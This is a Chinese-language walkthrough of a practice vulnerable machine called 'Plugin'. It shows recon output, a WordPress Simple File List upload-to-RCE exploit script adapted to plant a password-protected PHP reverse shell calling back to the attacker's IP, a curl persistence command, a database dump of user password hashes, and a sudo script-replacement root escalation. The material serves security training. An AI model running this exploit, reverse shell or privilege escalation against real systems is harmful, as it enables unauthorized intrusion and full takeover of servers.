群友靶机-Plugin

信息收集

```
# Nmap 7.95 scan initiated Tue Jul 29 02:03:20 2025 as: /usr/lib/nmap/nmap --
min-rate 10000 -p- -oA ports 10.0.2.60
Nmap scan report for 10.0.2.60
Host is up (0.00064s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:7E:0C:5B (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

# Nmap done at Tue Jul 29 02:04:01 2025 -- 1 IP address (1 host up) scanned in
40.84 seconds
```

这种就不用浪费时间细扫或者udp了 等卡主再回头看 直接目录扫描

```
# Dirsearch started Tue Jul 29 02:08:23 2025 as: /usr/lib/python3/dist-
packages/dirsearch/dirsearch.py -u 10.0.2.60

403   274B   http://10.0.2.60/.ht_wsr.txt
403   274B   http://10.0.2.60/.htaccess.bak1
403   274B   http://10.0.2.60/.htaccess.orig
403   274B   http://10.0.2.60/.htaccess.sample
403   274B   http://10.0.2.60/.htaccess.save
403   274B   http://10.0.2.60/.htaccess_extra
403   274B   http://10.0.2.60/.htaccess_orig
403   274B   http://10.0.2.60/.htaccessBAK
403   274B   http://10.0.2.60/.htaccessOLD
403   274B   http://10.0.2.60/.htaccess_sc
403   274B   http://10.0.2.60/.htaccessOLD2
403   274B   http://10.0.2.60/.htm
403   274B   http://10.0.2.60/.html
403   274B   http://10.0.2.60/.htpasswd_test
```

```
403   274B   http://10.0.2.60/.htpasswds
403   274B   http://10.0.2.60/.httr-oauth
403   274B   http://10.0.2.60/.php
200   783B   http://10.0.2.60/about.php
200   939B   http://10.0.2.60/feedback.php
200     1KB  http://10.0.2.60/home.php
403   274B   http://10.0.2.60/server-status
403   274B   http://10.0.2.60/server-status/
```

在http://10.0.2.60/feedback.php 提交 会有提示 `反馈已提交！服务端处理使用域名：plugin.dsz`

另外从源码也能看出来

```
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>关于插件中心</title>
    <script src="[domain.js](view-source:http://10.0.2.60/domain.js)">
</script>
</head>
<body>
    <header>
        <h1>关于我们</h1>
        <nav>
            <a href="[home.php](view-source:http://10.0.2.60/home.php)">首页
</a> |
            <a href="[about.php](view-source:http://10.0.2.60/about.php)">关于
</a> |
            <a href="[feedback.php](view-
source:http://10.0.2.60/feedback.php)">反馈</a>
        </nav>
    </header>

    <main>
        <article>
            <h2>我们的使命</h2>
            <p>提供高质量WordPress插件，无需直接显示域名在内容中</p>
```

```
            <h2>访问方式</h2>
            <p>所有API请求通过JavaScript后台处理：</p>
            <pre>
// 示例API调用
fetch(dszPluginConfig.getApiBase() + 'plugin-api')
  .then(response => response.json())
  .then(data => console.log(data));
            </pre>
        </article>
    </main>

    <script>
        // 域名仅用于内部函数
        setInterval(() => {
            console.debug(`[${new Date().toLocaleTimeString()}] 后台任务运行
中...`);
        }, 30000);
    </script>

    <footer>
        <p>当前服务状态：<span id="status">运行正常</span></p>
        <!-- 域名不会被插入到此元素中 -->
        <div id="domainInfo"></div>
    </footer>
</body>
</html>

#domain.js
// åŸŸå□□å¤„ç□†å·¥å…·
window.dszPluginConfig = (function() {
    const encodedDomain = [112, 108, 117, 103, 105, 110, 46, 100, 115, 122];
    let domain = '';

    encodedDomain.forEach(code => {
        domain += String.fromCharCode(code);
    });

    return {
        getDomain: function() { return domain; },
        getApiBase: function() { return `//${domain}/wp-json/` }
```

```
    };
})();
```

访问 `http://plugin.dsz/wp-json/` 得到如下结果

```
此处略去100字
```

稍微分析一下 可以判断出是wordpress 那直接上wpscan

```
此处再省略100字
```

```
The Simple File List WordPress plugin was found to be vulnerable to an
unauthenticated arbitrary file upload leading to remote code execution. The
Python exploit first uploads a file containing PHP code but with a png image
file extension. A second request is sent to move (rename) the png file to a
php file.
```

很明显 只是一个poc 但是既然可以上传并且重命名 那就改成反弹shell

```
#!/usr/bin/env python3
import requests
import random
import hashlib
import sys
import os
import urllib3
import socket
import subprocess
import threading

urllib3.disable_warnings()

# 配置参数
TARGET_IP = '10.0.2.43'  # 攻击者监听IP
TARGET_PORT = 4444        # 攻击者监听端口
dir_path = '/wp-content/uploads/simple-file-list/'
upload_path = '/wp-content/plugins/simple-file-list/ee-upload-engine.php'
move_path = '/wp-content/plugins/simple-file-list/ee-file-engine.php'
```

```
def usage():
    banner = """
NAME: Wordpress Simple File List v4.2.2 - 反弹Shell利用工具
SYNOPSIS: python wp_simple_file_list_rce.py <目标URL>
EXAMPLE: python wp_simple_file_list_rce.py http://victim.com
AUTHOR: 改编自coiffeur的原始脚本
    """
    print(banner)

def generate_reverse_shell():
    """生成包含反弹shell的PHP文件"""
    filename = f'shell_{random.randint(1000, 9999)}.png'
    password = hashlib.md5(bytearray(random.getrandbits(8) for _ in
range(20))).hexdigest()

    # PHP反弹shell代码
    php_payload = f"""<?php
    if($_POST["password"]=="{password}"){{
        $sock=fsockopen("{TARGET_IP}",{TARGET_PORT});
        $proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),
$pipes);
    }}else{{
        echo "<title>404 Not Found</title><h1>Not Found</h1>";
    }}
    ?>"""

    with open(filename, 'w') as f:
        f.write(php_payload)

    print(f'[+] 生成恶意文件: {filename} | 密码: {password}')
    return filename, password

def upload_file(target_url, filename):
    """上传文件到目标服务器"""
    files = {'file': (filename, open(filename, 'rb'), 'image/png')}
    data = {
        'eeSFL_ID': 1,
        'eeSFL_FileUploadDir': dir_path,
        'eeSFL_Timestamp': 1587258885,
        'eeSFL_Token': 'ba288252629a5399759b6fde1e205bc2'
```

```
    }

    try:
        print(f'[*] 尝试上传文件到 {target_url}{upload_path}')
        r = requests.post(
            url=f'{target_url}{upload_path}',
            data=data,
            files=files,
            verify=False,
            timeout=30
        )

        # 验证文件是否上传成功
        r = requests.get(f'{target_url}{dir_path}{filename}', verify=False)
        if r.status_code == 200:
            print(f'[+] 文件上传成功: {target_url}{dir_path}{filename}')
            return filename
    except Exception as e:
        print(f'[-] 文件上传失败: {str(e)}')
        exit(-1)

def rename_to_php(target_url, filename):
    """将文件重命名为.php扩展名"""
    new_filename = f'{filename.split(".")[0]}.php'
    headers = {
        'Referer': f'{target_url}/wp-admin/admin.php?page=ee-simple-file-
list&tab=file_list&eeListID=1',
        'X-Requested-With': 'XMLHttpRequest'
    }
    data = {
        'eeSFL_ID': 1,
        'eeFileOld': filename,
        'eeListFolder': '/',
        'eeFileAction': f'Rename|{new_filename}'
    }

    try:
        print(f'[*] 尝试重命名文件为PHP格式')
        r = requests.post(
            url=f'{target_url}{move_path}',
```

```
            data=data,
            headers=headers,
            verify=False,
            timeout=30
        )

        if r.status_code == 200:
            print(f'[+] 文件重命名成功: {new_filename}')
            return new_filename
    except Exception as e:
        print(f'[-] 文件重命名失败: {str(e)}')
        exit(-1)

def trigger_reverse_shell(target_url, filename, password):
    """触发反弹shell"""
    data = {'password': password}

    print(f'[+] 准备触发反弹shell到 {TARGET_IP}:{TARGET_PORT}')
    print('[*] 请确保您已在监听端口上设置了nc监听器: nc -lvnp 4444')

    try:
        # 发送请求触发shell
        requests.post(
            url=f'{target_url}{dir_path}{filename}',
            data=data,
            verify=False,
            timeout=5
        )
        print('[+] 反弹shell已触发，请检查您的监听器')
    except requests.exceptions.Timeout:
        # 预期中的超时，因为连接会保持打开状态
        print('[+] 反弹shell已触发 (连接超时是预期的)')
    except Exception as e:
        print(f'[-] 触发反弹shell失败: {str(e)}')

def start_listener():
    """启动简易监听器(可选)"""
    print('\n[!] 提示: 您可以使用以下命令设置监听器:')
    print(f'    nc -lvnp {TARGET_PORT}\n')
```

```
    # 询问用户是否要自动启动监听器
    choice = input('[?] 是否要自动启动监听器? (y/N): ').lower()
    if choice == 'y':
        try:
            print(f'[+] 在 {TARGET_IP}:{TARGET_PORT} 上启动监听器...')
            subprocess.run(f'nc -lvnp {TARGET_PORT}', shell=True)
        except Exception as e:
            print(f'[-] 无法启动监听器: {str(e)}')

def main(target_url):
    # 确保URL以/结尾
    if not target_url.endswith('/'):
        target_url += '/'

    print(f'[+] 目标URL: {target_url}')
    print(f'[+] 反弹shell目标: {TARGET_IP}:{TARGET_PORT}')

    # 生成恶意文件
    filename, password = generate_reverse_shell()

    try:
        # 上传文件
        uploaded_file = upload_file(target_url, filename)

        # 重命名为PHP
        php_file = rename_to_php(target_url, uploaded_file)

        # 清理本地文件
        if os.path.exists(filename):
            os.remove(filename)
            print(f'[+] 已清理本地文件: {filename}')

        # 触发反弹shell
        trigger_reverse_shell(target_url, php_file, password)

        # 提供后续利用信息
        print('\n[+] 利用成功! 后续操作:')
        print(f'    Shell地址: {target_url}{dir_path}{php_file}')
        print(f'    访问密码: {password}')
        print('    您可以使用以下命令维持访问:')
```

```
        print(f'    curl -X POST -d "password=
{password}&cmd=system(\'whoami\');" {target_url}{dir_path}{php_file}')

        # 提供监听器选项
        start_listener()

    except KeyboardInterrupt:
        print('\n[-] 用户中断操作')
        exit(0)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        usage()
        exit(-1)

    main(sys.argv[1])
```

接下来就拿到shell 有wordpress，常规的看一眼wp-config

用户名`wordpressuser` 密码`password` 连上数据库看一眼

```
MariaDB [wordpress]> select * from wp_users;
select * from wp_users;
+----+------------+------------------------------------------------------------
------+--------------+--------------+------------------+------------------
--+---------------------+-------------+-------------+
| ID | user_login | user_pass
| user_nicename | user_email    | user_url          | user_registered     |
user_activation_key | user_status | display_name |
+----+------------+------------------------------------------------------------
------+--------------+--------------+------------------+------------------
--+---------------------+-------------+-------------+
|  1 | root       |
$wp$2y$10$BYbbUzESEyKf6K/eMg.nXexB5Nrb85b/QQurB8ATexauxn3K8DK0a | root
| root@root.com | http://plugin.dsz | 2025-07-23 05:30:24 |
|           0 | root         |
|  2 | yi         | b00b6ce41fbb3854fbfddcb71b5aa15d
| yi            |              | http://plugin.dsz | 0000-00-00 00:00:00 |
```

```
eWl5aXlp            |           0 | eWl5aXlp     |
+----+------------+-------------------------------------------------------------
------+--------------+--------------+------------------+------------------
--+--------------------+------------+-------------+
2 rows in set (0.000 sec)
```

用户yi密码是md5加密的，但是有eWl5aXlp 可以简单试试

```
yi@10.0.2.60's password:
Linux Plugin 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jul 29 02:52:48 2025 from 10.0.2.43
yi@Plugin:~$ id
uid=1000(yi) gid=1000(yi) groups=1000(yi)
yi@Plugin:~$ sudo -l
Matching Defaults entries for yi on Plugin:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User yi may run the following commands on Plugin:
    (ALL) NOPASSWD: /bin/bash /home/yi/yiyi.sh
```

直接就出来了 提权的话一眼王炸

```
yi@Plugin:~$ mv yiyi.sh 1
yi@Plugin:~$ echo "bash -p" > yiyi.sh
yi@Plugin:~$ sudo /bin/bash /home/yi/yiyi.sh
root@Plugin:/home/yi# id
uid=0(root) gid=0(root) groups=0(root)
```

结束